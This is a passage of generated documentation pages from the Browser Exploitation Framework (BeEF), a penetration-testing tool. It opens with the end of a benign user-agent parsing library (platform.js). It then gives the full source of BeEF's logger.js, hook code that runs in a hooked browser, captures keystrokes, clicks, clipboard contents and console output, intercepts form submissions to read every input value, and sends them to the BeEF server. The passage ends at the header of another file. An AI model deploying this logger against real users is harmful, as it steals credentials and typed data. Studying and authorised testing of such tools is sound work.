        var pattern = guess.pattern || qualify(guess);
        if (!result && (result =
              RegExp('\\b' + pattern + ' *\\d+[.\\w_]*', 'i').exec(ua) ||
              RegExp('\\b' + pattern + ' *\\w+-[\\w]*', 'i').exec(ua) ||
              RegExp('\\b' + pattern + '(?:; *(?:[a-z]+[_-])?[a-z]+\\d+|[^ ();-]*)', 'i').exec(ua)
            )) {
          // Split by forward slash and append product version if needed.
          if ((result = String((guess.label && !RegExp(pattern, 'i').test(guess.label)) ? guess.label : result).split('/'))[1] && !/[\d.]+/.test(result[0])) {
            result[0] += ' ' + result[1];
          }
          // Correct character case and cleanup string.
          guess = guess.label || guess;
          result = format(result[0]
            .replace(RegExp(pattern, 'i'), guess)
            .replace(RegExp('; *(?:' + guess + '[_-])?', 'i'), ' ')
            .replace(RegExp('(' + guess + ')[-_.]?(\\w)', 'i'), '$1 $2'));
        }
        return result;
      });
    }

    /**
     * Resolves the version using an array of UA patterns.
     *
     * @private
     * @param {Array} patterns An array of UA patterns.
     * @returns {null|string} The detected version.
     */
    function getVersion(patterns) {
      return reduce(patterns, function(result, pattern) {
        return result || (RegExp(pattern +
          '(?:-[\\d.]+/|(?: for [\\w-]+)?[ /-])([\\d.]+[^ ();/_-]*)', 'i').exec(ua) || 0)[1] || null;
      });
    }

    /**
     * Returns `platform.description` when the platform object is coerced to a string.
     *
     * @name toString
     * @memberOf platform
     * @returns {string} Returns `platform.description` if available, else an empty string.
     */
    function toStringPlatform() {
      return this.description || '';
    }

    /*------------------------------------------------------------------------*/

    // Convert layout to an array so we can add extra details.
    layout && (layout = [layout]);

    // Detect Android products.
    // Browsers on Android devices typically provide their product IDS after "Android;"
    // up to "Build" or ") AppleWebKit".
    // Example:
    // "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (5) Plus) AppleWebKit/537.36
    // (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36"
    if (/\bAndroid\b/.test(os) && !product &&
        (data = /\bAndroid[^;]*;(.*?)(?:Build|\) AppleWebKit)\b/i.exec(ua))) {
      product = trim(data[1])
        // Replace any language codes (eg. "en-US").
        .replace(/^[a-z]{2}-[a-z]{2};\s*/i, '')
        || null;
    }
    // Detect product names that contain their manufacturer's name.
    if (manufacturer && !product) {
      product = getProduct([manufacturer]);
    } else if (manufacturer && product) {
      product = product
        .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.\\s]', 'i'), manufacturer + ' ')
        .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.]?(\\w)', 'i'), manufacturer + ' $2');
    }
    // Clean up Google TV.
    if ((data = /\bGoogle TV\b/.exec(product))) {
      product = data[0];
    }
    // Detect simulators.
    if (/\bSimulator\b/i.test(ua)) {
      product = (product ? product + ' ' : '') + 'Simulator';
    }
    // Detect Opera Mini 8+ running in Turbo/Uncompressed mode on iOS.
    if (name == 'Opera Mini' && /\bOPiOS\b/.test(ua)) {
      description.push('running in Turbo/Uncompressed mode');
    }
    // Detect IE Mobile 11.
    if (name == 'IE' && /\blike iPhone OS\b/.test(ua)) {
      data = parse(ua.replace(/like iPhone OS/, ''));
      manufacturer = data.manufacturer;
      product = data.product;
    }
    // Detect iOS.
    else if (/^iP/.test(product)) {
      name || (name = 'Safari');
      os = 'iOS' + ((data = / OS ([\d_]+)/i.exec(ua))
        ? ' ' + data[1].replace(/_/g, '.')
        : '');
    }
    // Detect Kubuntu.
    else if (name == 'Konqueror' && /^Linux\b/i.test(os)) {
      os = 'Kubuntu';
    }
    // Detect Android browsers.
    else if ((manufacturer && manufacturer != 'Google' &&
        ((/Chrome/.test(name) && !/\bMobile Safari\b/i.test(ua)) || /\bVita\b/.test(product))) ||
        (/\bAndroid\b/.test(os) && /^Chrome/.test(name) && /\bVersion\//i.test(ua))) {
      name = 'Android Browser';
      os = /\bAndroid\b/.test(os) ? os : 'Android';
    }
    // Detect Silk desktop/accelerated modes.
    else if (name == 'Silk') {
      if (!/\bMobi/i.test(ua)) {
        os = 'Android';
        description.unshift('desktop mode');
      }
      if (/Accelerated *= *true/i.test(ua)) {
        description.unshift('accelerated');
      }
    }
    // Detect UC Browser speed mode.
    else if (name == 'UC Browser' && /\bUCWEB\b/.test(ua)) {
      description.push('speed mode');
    }
    // Detect PaleMoon identifying as Firefox.
    else if (name == 'PaleMoon' && (data = /\bFirefox\/([\d.]+)\b/.exec(ua))) {
      description.push('identifying as Firefox ' + data[1]);
    }
    // Detect Firefox OS and products running Firefox.
    else if (name == 'Firefox' && (data = /\b(Mobile|Tablet|TV)\b/i.exec(ua))) {
      os || (os = 'Firefox OS');
      product || (product = data[1]);
    }
    // Detect false positives for Firefox/Safari.
    else if (!name || (data = !/\bMinefield\b/i.test(ua) && /\b(?:Firefox|Safari)\b/.exec(name))) {
      // Escape the `/` for Firefox 1.
      if (name && !product && /[\/,]|^[^(]+?\)/.test(ua.slice(ua.indexOf(data + '/') + 8))) {
        // Clear name of false positives.
        name = null;
      }
      // Reassign a generic name.
      if ((data = product || manufacturer || os) &&
          (product || manufacturer || /\b(?:Android|Symbian OS|Tablet OS|webOS)\b/.test(os))) {
        name = /[a-z]+(?: Hat)?/i.exec(/\bAndroid\b/.test(os) ? os : data) + ' Browser';
      }
    }
    // Add Chrome version to description for Electron.
    else if (name == 'Electron' && (data = (/\bChrome\/([\d.]+)\b/.exec(ua) || 0)[1])) {
      description.push('Chromium ' + data);
    }
    // Detect non-Opera (Presto-based) versions (order is important).
    if (!version) {
      version = getVersion([
        '(?:Cloud9|CriOS|CrMo|Edge|Edg|EdgA|EdgiOS|FxiOS|HeadlessChrome|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$)|UCBrowser|YaBrowser)',
        'Version',
        qualify(name),
        '(?:Firefox|Minefield|NetFront)'
      ]);
    }
    // Detect stubborn layout engines.
    if ((data =
          layout == 'iCab' && parseFloat(version) > 3 && 'WebKit' ||
          /\bOpera\b/.test(name) && (/\bOPR\b/.test(ua) ? 'Blink' : 'Presto') ||
          /\b(?:Midori|Nook|Safari)\b/i.test(ua) && !/^(?:Trident|EdgeHTML)$/.test(layout) && 'WebKit' ||
          !layout && /\bMSIE\b/i.test(ua) && (os == 'Mac OS' ? 'Tasman' : 'Trident') ||
          layout == 'WebKit' && /\bPlayStation\b(?! Vita\b)/i.test(name) && 'NetFront'
        )) {
      layout = [data];
    }
    // Detect Windows Phone 7 desktop mode.
    if (name == 'IE' && (data = (/; *(?:XBLWP|ZuneWP)(\d+)/i.exec(ua) || 0)[1])) {
      name += ' Mobile';
      os = 'Windows Phone ' + (/\+$/.test(data) ? data : data + '.x');
      description.unshift('desktop mode');
    }
    // Detect Windows Phone 8.x desktop mode.
    else if (/\bWPDesktop\b/i.test(ua)) {
      name = 'IE Mobile';
      os = 'Windows Phone 8.x';
      description.unshift('desktop mode');
      version || (version = (/\brv:([\d.]+)/.exec(ua) || 0)[1]);
    }
    // Detect IE 11 identifying as other browsers.
    else if (name != 'IE' && layout == 'Trident' && (data = /\brv:([\d.]+)/.exec(ua))) {
      if (name) {
        description.push('identifying as ' + name + (version ? ' ' + version : ''));
      }
      name = 'IE';
      version = data[1];
    }
    // Leverage environment features.
    if (useFeatures) {
      // Detect server-side environments.
      // Rhino has a global function while others have a global object.
      if (isHostType(context, 'global')) {
        if (java) {
          data = java.lang.System;
          arch = data.getProperty('os.arch');
          os = os || data.getProperty('os.name') + ' ' + data.getProperty('os.version');
        }
        if (rhino) {
          try {
            version = context.require('ringo/engine').version.join('.');
            name = 'RingoJS';
          } catch(e) {
            if ((data = context.system) && data.global.system == context.system) {
              name = 'Narwhal';
              os || (os = data[0].os || null);
            }
          }
          if (!name) {
            name = 'Rhino';
          }
        }
        else if (
          typeof context.process == 'object' && !context.process.browser &&
          (data = context.process)
        ) {
          if (typeof data.versions == 'object') {
            if (typeof data.versions.electron == 'string') {
              description.push('Node ' + data.versions.node);
              name = 'Electron';
              version = data.versions.electron;
            } else if (typeof data.versions.nw == 'string') {
              description.push('Chromium ' + version, 'Node ' + data.versions.node);
              name = 'NW.js';
              version = data.versions.nw;
            }
          }
          if (!name) {
            name = 'Node.js';
            arch = data.arch;
            os = data.platform;
            version = /[\d.]+/.exec(data.version);
            version = version ? version[0] : null;
          }
        }
      }
      // Detect Adobe AIR.
      else if (getClassOf((data = context.runtime)) == airRuntimeClass) {
        name = 'Adobe AIR';
        os = data.flash.system.Capabilities.os;
      }
      // Detect PhantomJS.
      else if (getClassOf((data = context.phantom)) == phantomClass) {
        name = 'PhantomJS';
        version = (data = data.version || null) && (data.major + '.' + data.minor + '.' + data.patch);
      }
      // Detect IE compatibility modes.
      else if (typeof doc.documentMode == 'number' && (data = /\bTrident\/(\d+)/i.exec(ua))) {
        // We're in compatibility mode when the Trident version + 4 doesn't
        // equal the document mode.
        version = [version, doc.documentMode];
        if ((data = +data[1] + 4) != version[1]) {
          description.push('IE ' + version[1] + ' mode');
          layout && (layout[1] = '');
          version[1] = data;
        }
        version = name == 'IE' ? String(version[1].toFixed(1)) : version[0];
      }
      // Detect IE 11 masking as other browsers.
      else if (typeof doc.documentMode == 'number' && /^(?:Chrome|Firefox)\b/.test(name)) {
        description.push('masking as ' + name + ' ' + version);
        name = 'IE';
        version = '11.0';
        layout = ['Trident'];
        os = 'Windows';
      }
      os = os && format(os);
    }
    // Detect prerelease phases.
    if (version && (data =
          /(?:[ab]|dp|pre|[ab]\d+pre)(?:\d+\+?)?$/i.exec(version) ||
          /(?:alpha|beta)(?: ?\d)?/i.exec(ua + ';' + (useFeatures && nav.appMinorVersion)) ||
          /\bMinefield\b/i.test(ua) && 'a'
        )) {
      prerelease = /b/i.test(data) ? 'beta' : 'alpha';
      version = version.replace(RegExp(data + '\\+?$'), '') +
        (prerelease == 'beta' ? beta : alpha) + (/\d+\+?/.exec(data) || '');
    }
    // Detect Firefox Mobile.
    if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS|KaiOS)\b/.test(os)) {
      name = 'Firefox Mobile';
    }
    // Obscure Maxthon's unreliable version.
    else if (name == 'Maxthon' && version) {
      version = version.replace(/\.[\d.]+/, '.x');
    }
    // Detect Xbox 360 and Xbox One.
    else if (/\bXbox\b/i.test(product)) {
      if (product == 'Xbox 360') {
        os = null;
      }
      if (product == 'Xbox 360' && /\bIEMobile\b/.test(ua)) {
        description.unshift('mobile mode');
      }
    }
    // Add mobile postfix.
    else if ((/^(?:Chrome|IE|Opera)$/.test(name) || name && !product && !/Browser|Mobi/.test(name)) &&
        (os == 'Windows CE' || /Mobi/i.test(ua))) {
      name += ' Mobile';
    }
    // Detect IE platform preview.
    else if (name == 'IE' && useFeatures) {
      try {
        if (context.external === null) {
          description.unshift('platform preview');
        }
      } catch(e) {
        description.unshift('embedded');
      }
    }
    // Detect BlackBerry OS version.
    // http://docs.blackberry.com/en/developers/deliverables/18169/HTTP_headers_sent_by_BB_Browser_1234911_11.jsp
    else if ((/\bBlackBerry\b/.test(product) || /\bBB10\b/.test(ua)) && (data =
          (RegExp(product.replace(/ +/g, ' *') + '/([.\\d]+)', 'i').exec(ua) || 0)[1] ||
          version
        )) {
      data = [data, /BB10/.test(ua)];
      os = (data[1] ? (product = null, manufacturer = 'BlackBerry') : 'Device Software') + ' ' + data[0];
      version = null;
    }
    // Detect Opera identifying/masking itself as another browser.
    // http://www.opera.com/support/kb/view/843/
    else if (this != forOwn && product != 'Wii' && (
          (useFeatures && opera) ||
          (/Opera/.test(name) && /\b(?:MSIE|Firefox)\b/i.test(ua)) ||
          (name == 'Firefox' && /\bOS X (?:\d+\.){2,}/.test(os)) ||
          (name == 'IE' && (
            (os && !/^Win/.test(os) && version > 5.5) ||
            /\bWindows XP\b/.test(os) && version > 8 ||
            version == 8 && !/\bTrident\b/.test(ua)
          ))
        ) && !reOpera.test((data = parse.call(forOwn, ua.replace(reOpera, '') + ';'))) && data.name) {
      // When "identifying", the UA contains both Opera and the other browser's name.
      data = 'ing as ' + data.name + ((data = data.version) ? ' ' + data : '');
      if (reOpera.test(name)) {
        if (/\bIE\b/.test(data) && os == 'Mac OS') {
          os = null;
        }
        data = 'identify' + data;
      }
      // When "masking", the UA contains only the other browser's name.
      else {
        data = 'mask' + data;
        if (operaClass) {
          name = format(operaClass.replace(/([a-z])([A-Z])/g, '$1 $2'));
        } else {
          name = 'Opera';
        }
        if (/\bIE\b/.test(data)) {
          os = null;
        }
        if (!useFeatures) {
          version = null;
        }
      }
      layout = ['Presto'];
      description.push(data);
    }
    // Detect WebKit Nightly and approximate Chrome/Safari versions.
    if ((data = (/\bAppleWebKit\/([\d.]+\+?)/i.exec(ua) || 0)[1])) {
      // Correct build number for numeric comparison.
      // (e.g. "532.5" becomes "532.05")
      data = [parseFloat(data.replace(/\.(\d)$/, '.0$1')), data];
      // Nightly builds are postfixed with a "+".
      if (name == 'Safari' && data[1].slice(-1) == '+') {
        name = 'WebKit Nightly';
        prerelease = 'alpha';
        version = data[1].slice(0, -1);
      }
      // Clear incorrect browser versions.
      else if (version == data[1] ||
          version == (data[2] = (/\bSafari\/([\d.]+\+?)/i.exec(ua) || 0)[1])) {
        version = null;
      }
      // Use the full Chrome version when available.
      data[1] = (/\b(?:Headless)?Chrome\/([\d.]+)/i.exec(ua) || 0)[1];
      // Detect Blink layout engine.
      if (data[0] == 537.36 && data[2] == 537.36 && parseFloat(data[1]) >= 28 && layout == 'WebKit') {
        layout = ['Blink'];
      }
      // Detect JavaScriptCore.
      // http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi
      if (!useFeatures || (!likeChrome && !data[1])) {
        layout && (layout[1] = 'like Safari');
        data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : data < 602 ? 9 : data < 604 ? 10 : data < 606 ? 11 : data < 608 ? 12 : '12');
      } else {
        layout && (layout[1] = 'like Chrome');
        data = data[1] || (data = data[0], data < 530 ? 1 : data < 532 ? 2 : data < 532.05 ? 3 : data < 533 ? 4 : data < 534.03 ? 5 : data < 534.07 ? 6 : data < 534.10 ? 7 : data < 534.13 ? 8 : data < 534.16 ? 9 : data < 534.24 ? 10 : data < 534.30 ? 11 : data < 535.01 ? 12 : data < 535.02 ? '13+' : data < 535.07 ? 15 : data < 535.11 ? 16 : data < 535.19 ? 17 : data < 536.05 ? 18 : data < 536.10 ? 19 : data < 537.01 ? 20 : data < 537.11 ? '21+' : data < 537.13 ? 23 : data < 537.18 ? 24 : data < 537.24 ? 25 : data < 537.36 ? 26 : layout != 'Blink' ? '27' : '28');
      }
      // Add the postfix of ".x" or "+" for approximate versions.
      layout && (layout[1] += ' ' + (data += typeof data == 'number' ? '.x' : /[.+]/.test(data) ? '' : '+'));
      // Obscure version for some Safari 1-2 releases.
      if (name == 'Safari' && (!version || parseInt(version) > 45)) {
        version = data;
      } else if (name == 'Chrome' && /\bHeadlessChrome/i.test(ua)) {
        description.unshift('headless');
      }
    }
    // Detect Opera desktop modes.
    if (name == 'Opera' &&  (data = /\bzbov|zvav$/.exec(os))) {
      name += ' ';
      description.unshift('desktop mode');
      if (data == 'zvav') {
        name += 'Mini';
        version = null;
      } else {
        name += 'Mobile';
      }
      os = os.replace(RegExp(' *' + data + '$'), '');
    }
    // Detect Chrome desktop mode.
    else if (name == 'Safari' && /\bChrome\b/.exec(layout && layout[1])) {
      description.unshift('desktop mode');
      name = 'Chrome Mobile';
      version = null;

      if (/\bOS X\b/.test(os)) {
        manufacturer = 'Apple';
        os = 'iOS 4.3+';
      } else {
        os = null;
      }
    }
    // Newer versions of SRWare Iron uses the Chrome tag to indicate its version number.
    else if (/\bSRWare Iron\b/.test(name) && !version) {
      version = getVersion('Chrome');
    }
    // Strip incorrect OS versions.
    if (version && version.indexOf((data = /[\d.]+$/.exec(os))) == 0 &&
        ua.indexOf('/' + data + '-') > -1) {
      os = trim(os.replace(data, ''));
    }
    // Ensure OS does not include the browser name.
    if (os && os.indexOf(name) != -1 && !RegExp(name + ' OS').test(os)) {
      os = os.replace(RegExp(' *' + qualify(name) + ' *'), '');
    }
    // Add layout engine.
    if (layout && !/\b(?:Avant|Nook)\b/.test(name) && (
        /Browser|Lunascape|Maxthon/.test(name) ||
        name != 'Safari' && /^iOS/.test(os) && /\bSafari\b/.test(layout[1]) ||
        /^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|SRWare Iron|Vivaldi|Web)/.test(name) && layout[1])) {
      // Don't add layout details to description if they are falsey.
      (data = layout[layout.length - 1]) && description.push(data);
    }
    // Combine contextual information.
    if (description.length) {
      description = ['(' + description.join('; ') + ')'];
    }
    // Append manufacturer to description.
    if (manufacturer && product && product.indexOf(manufacturer) < 0) {
      description.push('on ' + manufacturer);
    }
    // Append product to description.
    if (product) {
      description.push((/^on /.test(description[description.length - 1]) ? '' : 'on ') + product);
    }
    // Parse the OS into an object.
    if (os) {
      data = / ([\d.+]+)$/.exec(os);
      isSpecialCasedOS = data && os.charAt(os.length - data[0].length - 1) == '/';
      os = {
        'architecture': 32,
        'family': (data && !isSpecialCasedOS) ? os.replace(data[0], '') : os,
        'version': data ? data[1] : null,
        'toString': function() {
          var version = this.version;
          return this.family + ((version && !isSpecialCasedOS) ? ' ' + version : '') + (this.architecture == 64 ? ' 64-bit' : '');
        }
      };
    }
    // Add browser/OS architecture.
    if ((data = /\b(?:AMD|IA|Win|WOW|x86_|x)64\b/i.exec(arch)) && !/\bi686\b/i.test(arch)) {
      if (os) {
        os.architecture = 64;
        os.family = os.family.replace(RegExp(' *' + data), '');
      }
      if (
          name && (/\bWOW64\b/i.test(ua) ||
          (useFeatures && /\w(?:86|32)$/.test(nav.cpuClass || nav.platform) && !/\bWin64; x64\b/i.test(ua)))
      ) {
        description.unshift('32-bit');
      }
    }
    // Chrome 39 and above on OS X is always 64-bit.
    else if (
        os && /^OS X/.test(os.family) &&
        name == 'Chrome' && parseFloat(version) >= 39
    ) {
      os.architecture = 64;
    }

    ua || (ua = null);

    /*------------------------------------------------------------------------*/

    /**
     * The platform object.
     *
     * @name platform
     * @type Object
     */
    var platform = {};

    /**
     * The platform description.
     *
     * @memberOf platform
     * @type string|null
     */
    platform.description = ua;

    /**
     * The name of the browser's layout engine.
     *
     * The list of common layout engines include:
     * "Blink", "EdgeHTML", "Gecko", "Trident" and "WebKit"
     *
     * @memberOf platform
     * @type string|null
     */
    platform.layout = layout && layout[0];

    /**
     * The name of the product's manufacturer.
     *
     * The list of manufacturers include:
     * "Apple", "Archos", "Amazon", "Asus", "Barnes & Noble", "BlackBerry",
     * "Google", "HP", "HTC", "LG", "Microsoft", "Motorola", "Nintendo",
     * "Nokia", "Samsung" and "Sony"
     *
     * @memberOf platform
     * @type string|null
     */
    platform.manufacturer = manufacturer;

    /**
     * The name of the browser/environment.
     *
     * The list of common browser names include:
     * "Chrome", "Electron", "Firefox", "Firefox for iOS", "IE",
     * "Microsoft Edge", "PhantomJS", "Safari", "SeaMonkey", "Silk",
     * "Opera Mini" and "Opera"
     *
     * Mobile versions of some browsers have "Mobile" appended to their name:
     * eg. "Chrome Mobile", "Firefox Mobile", "IE Mobile" and "Opera Mobile"
     *
     * @memberOf platform
     * @type string|null
     */
    platform.name = name;

    /**
     * The alpha/beta release indicator.
     *
     * @memberOf platform
     * @type string|null
     */
    platform.prerelease = prerelease;

    /**
     * The name of the product hosting the browser.
     *
     * The list of common products include:
     *
     * "BlackBerry", "Galaxy S4", "Lumia", "iPad", "iPod", "iPhone", "Kindle",
     * "Kindle Fire", "Nexus", "Nook", "PlayBook", "TouchPad" and "Transformer"
     *
     * @memberOf platform
     * @type string|null
     */
    platform.product = product;

    /**
     * The browser's user agent string.
     *
     * @memberOf platform
     * @type string|null
     */
    platform.ua = ua;

    /**
     * The browser/environment version.
     *
     * @memberOf platform
     * @type string|null
     */
    platform.version = name && version;

    /**
     * The name of the operating system.
     *
     * @memberOf platform
     * @type Object
     */
    platform.os = os || {

      /**
       * The CPU architecture the OS is built for.
       *
       * @memberOf platform.os
       * @type number|null
       */
      'architecture': null,

      /**
       * The family of the OS.
       *
       * Common values include:
       * "Windows", "Windows Server 2008 R2 / 7", "Windows Server 2008 / Vista",
       * "Windows XP", "OS X", "Linux", "Ubuntu", "Debian", "Fedora", "Red Hat",
       * "SuSE", "Android", "iOS" and "Windows Phone"
       *
       * @memberOf platform.os
       * @type string|null
       */
      'family': null,

      /**
       * The version of the OS.
       *
       * @memberOf platform.os
       * @type string|null
       */
      'version': null,

      /**
       * Returns the OS string.
       *
       * @memberOf platform.os
       * @returns {string} The OS string.
       */
      'toString': function() { return 'null'; }
    };

    platform.parse = parse;
    platform.toString = toStringPlatform;

    if (platform.version) {
      description.unshift(version);
    }
    if (platform.name) {
      description.unshift(name);
    }
    if (os && name && !(os == String(os).split(' ')[0] && (os == name.split(' ')[0] || product))) {
      description.push(product ? '(' + os + ')' : 'on ' + os);
    }
    if (description.length) {
      platform.description = description.join(' ');
    }
    return platform;
  }

  /*--------------------------------------------------------------------------*/

  // Export platform.
  var platform = parse();

  // Some AMD build optimizers, like r.js, check for condition patterns like the following:
  if (typeof define == 'function' && typeof define.amd == 'object' && define.amd) {
    // Expose platform on the global object to prevent errors when platform is
    // loaded by a script tag in the presence of an AMD loader.
    // See http://requirejs.org/docs/errors.html#mismatch for more details.
    root.platform = platform;

    // Define as an anonymous module so platform can be aliased through path mapping.
    define(function() {
      return platform;
    });
  }
  // Check for `exports` after `define` in case a build optimizer adds an `exports` object.
  else if (freeExports && freeModule) {
    // Export for CommonJS support.
    forOwn(platform, function(value, key) {
      freeExports[key] = value;
    });
  }
  else {
    // Export to the global object.
    root.platform = platform;
  }
}.call(this));

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/logger.js.html ================================================ JSDoc: Source: logger.js

Source: logger.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Provides logging capabilities.
 * @namespace beef.logger
 */
beef.logger = {
	
	running: false,
    /**
    * Internal logger id
    */
    id: 0,
	/**
	 * Holds events created by user, to be sent back to BeEF
	 */
	events: [],
	/**
	 * Holds current stream of key presses
	 */
	stream: [],
	/**
	 * Contains current target of key presses
	 */
	target: null,
	/**
	 * Holds the time the logger was started
	 */
	time: null,
    /**
    * Holds the event details to be sent to BeEF
    */
    e: function() {
        this.id = beef.logger.get_id();
        this.time = beef.logger.get_timestamp();
        this.type = null;
        this.x = 0;
        this.y = 0;
        this.target = null;
        this.data = null;
        this.mods = null;
    },
    /**
     * Prevents from recursive event handling on form submission
     */
    in_submit: false,
	
	/**
	 * Starts the logger
	 */
	start: function() {

		beef.browser.hookChildFrames();
		this.running = true;
		var d = new Date();
		this.time = d.getTime();

        $j(document).off('keypress');
        $j(document).off('click');
        $j(window).off('focus');
        $j(window).off('blur');
        $j('form').off('submit');
        $j(document.body).off('copy');
        $j(document.body).off('cut');
        $j(document.body).off('paste');

        if (!!window.console && typeof window.console == "object") {
          try {
            var oldInfo = window.console.info;
            console.info = function (message) {
              beef.logger.console('info', message);
              oldInfo.apply(console, arguments);
            };
            var oldLog = window.console.log;
            console.log = function (message) {
              beef.logger.console('log', message);
              oldLog.apply(console, arguments);
            };
            var oldWarn = window.console.warn;
            console.warn = function (message) {
              beef.logger.console('warn', message);
              oldWarn.apply(console, arguments);
            };
            var oldDebug = window.console.debug;
            console.debug = function (message) {
              beef.logger.console('debug', message);
              oldDebug.apply(console, arguments);
            };
            var oldError = window.console.error;
            console.error = function (message) {
              beef.logger.console('error', message);
              oldError.apply(console, arguments);
            };
         } catch(e) {}
       }

		$j(document).keypress(
			function(e) { beef.logger.keypress(e); }
		).click(
			function(e) { beef.logger.click(e); }
		);
		$j(window).focus(
			function(e) { beef.logger.win_focus(e); }
		).blur(
			function(e) { beef.logger.win_blur(e); }
		);
		$j('form').submit(
			function(e) { 
                beef.logger.submit(e); 
            }
		);
		$j(document.body).on('copy', function() {
			setTimeout("beef.logger.copy();", 10);
		});
		$j(document.body).on('cut', function() {
			setTimeout("beef.logger.cut();", 10);
		});
		$j(document.body).on('paste', function() {
			beef.logger.paste();
		});
	},
	
	/**
	 * Stops the logger
	 */
	stop: function() {
		this.running = false;
		clearInterval(this.timer);
        $j(document).off('keypress');
        $j(document).off('click');
        $j(window).off('focus');
        $j(window).off('blur');
        $j('form').off('submit');
        $j(document.body).off('copy');
        $j(document.body).off('cut');
        $j(document.body).off('paste');
        // TODO: reset console
	},

    /**
    * Get id
    */
    get_id: function() {
        this.id++;
        return this.id;
    },

	/**
	 * Click function fires when the user clicks the mouse.
	 */
	click: function(e) {
        var c = new beef.logger.e();
        c.type = 'click';
        c.x = e.pageX;
        c.y = e.pageY;
        c.target = beef.logger.get_dom_identifier(e.target);
        this.events.push(c);
	},
	
	/**
	 * Fires when the window element has regained focus
	 */
	win_focus: function(e) {
        var f = new beef.logger.e();
        f.type = 'focus';
        this.events.push(f);
	},
	
	/**
	 * Fires when the window element has lost focus
	 */
	win_blur: function(e) {
        var b = new beef.logger.e();
        b.type = 'blur';
		this.events.push(b);
	},
	
	/**
	 * Keypress function fires everytime a key is pressed.
	 * @param {Object} e: event object
	 */
	keypress: function(e) {
		if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
		{
			beef.logger.push_stream();
			this.target = e.target;
		}
		this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
	},
	
	/**
	 * Copy function fires when the user copies data to the clipboard.
	 */
	copy: function(x) {
		try {
			var c = new beef.logger.e();
			c.type = 'copy';
			c.data = clipboardData.getData("Text");
			this.events.push(c);
		} catch(e) {}
	},

	/**
	 * Cut function fires when the user cuts data to the clipboard.
	 */
	cut: function() {
		try {
			var c = new beef.logger.e();
			c.type = 'cut';
			c.data = clipboardData.getData("Text");
			this.events.push(c);
		} catch(e) {}
	},

        /**
         * Console function fires when data is sent to the browser console.
         */
        console: function(type, message) {
		try {
			var c = new beef.logger.e();
			c.type = 'console';
			c.data = type + ': ' + message;
			this.events.push(c);
		} catch(e) {}
	},

	/**
	 * Paste function fires when the user pastes data from the clipboard.
	 */
	paste: function() {
		try {
			var c = new beef.logger.e();
			c.type = 'paste';
			c.data = clipboardData.getData("Text");
			this.events.push(c);
		} catch(e) {}
	},

	/**
	 * Submit function fires whenever a form is submitted
     * TODO: Cleanup this function
	 */
	submit: function(e) {
        if (beef.logger.in_submit) {
            return true;
        }
		try {
			var f = new beef.logger.e();
			f.type = 'submit';
			f.target = beef.logger.get_dom_identifier(e.target);
            var jqForms = $j(e.target);
            var values = jqForms.find('input').map(function() { 
                    var inp = $j(this);    
                    return inp.attr('name') + '=' + inp.val(); 
                }).get().join();
            beef.debug('submitting form inputs: ' + values);
            /*
			for (var i = 0; i < e.target.elements.length; i++) {
	            values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
	        }
            */
			f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
			this.events.push(f);
            this.queue();
            this.target = null;
            beef.net.flush(function done() {
                beef.debug("Submitting the form");
                beef.logger.in_submit = true;
                jqForms.submit();
                beef.logger.in_submit = false;
                beef.debug("Done submitting");
            });
            e.preventDefault();
            return false;
		} catch(e) {}
	},
	
	/**
	 * Pushes the current stream to the events queue
	 */
	push_stream: function() {
		if (this.stream.length > 0)
		{
			this.events.push(beef.logger.parse_stream());
			this.stream = [];
		}
	},
	
	/**
	 * Translate DOM Object to a readable string
	 */
	get_dom_identifier: function(target) {
		target = (target == null) ? this.target : target;
		var id = '';
		if (target)
		{
			id = target.tagName.toLowerCase();
			id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
			id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
		}
		return id;
	},
	
	/**
	 * Formats the timestamp
	 * @return {String} timestamp string
	 */
	get_timestamp: function() {
		var d = new Date();
		return ((d.getTime() - this.time) / 1000).toFixed(3);
	},
	
	/**
	 * Parses stream array and creates history string
	 */
	parse_stream: function() {
		var s = '';
        var mods = '';
		for (var i in this.stream){
         try{
            var mod = this.stream[i]['modifiers'];
            s += String.fromCharCode(this.stream[i]['char']);
            if(typeof mod != 'undefined' &&
                      (mod['alt'] == true ||
                      mod['ctrl'] == true ||
                      mod['shift'] == true)){
                mods += (mod['alt']) ? ' [Alt] ' : '';
                mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
                mods += (mod['shift']) ? ' [Shift] ' : '';
                mods += String.fromCharCode(this.stream[i]['char']);
            }

         }catch(e){}
		}
        var k = new beef.logger.e();
        k.type = 'keys';
        k.target = beef.logger.get_dom_identifier();
        k.data = s;
        k.mods = mods;
        return k;
	},
	
	/**
	 * Queue results to be sent back to framework
	 */
	queue: function() {
		beef.logger.push_stream();
		if (this.events.length > 0)
		{
			beef.net.queue('/event', 0, this.events);
			this.events = [];
		}
	}
		
};

beef.regCmp('beef.logger');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/mitb.js.html ================================================ JSDoc: Source: mitb.js

Source: mitb.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
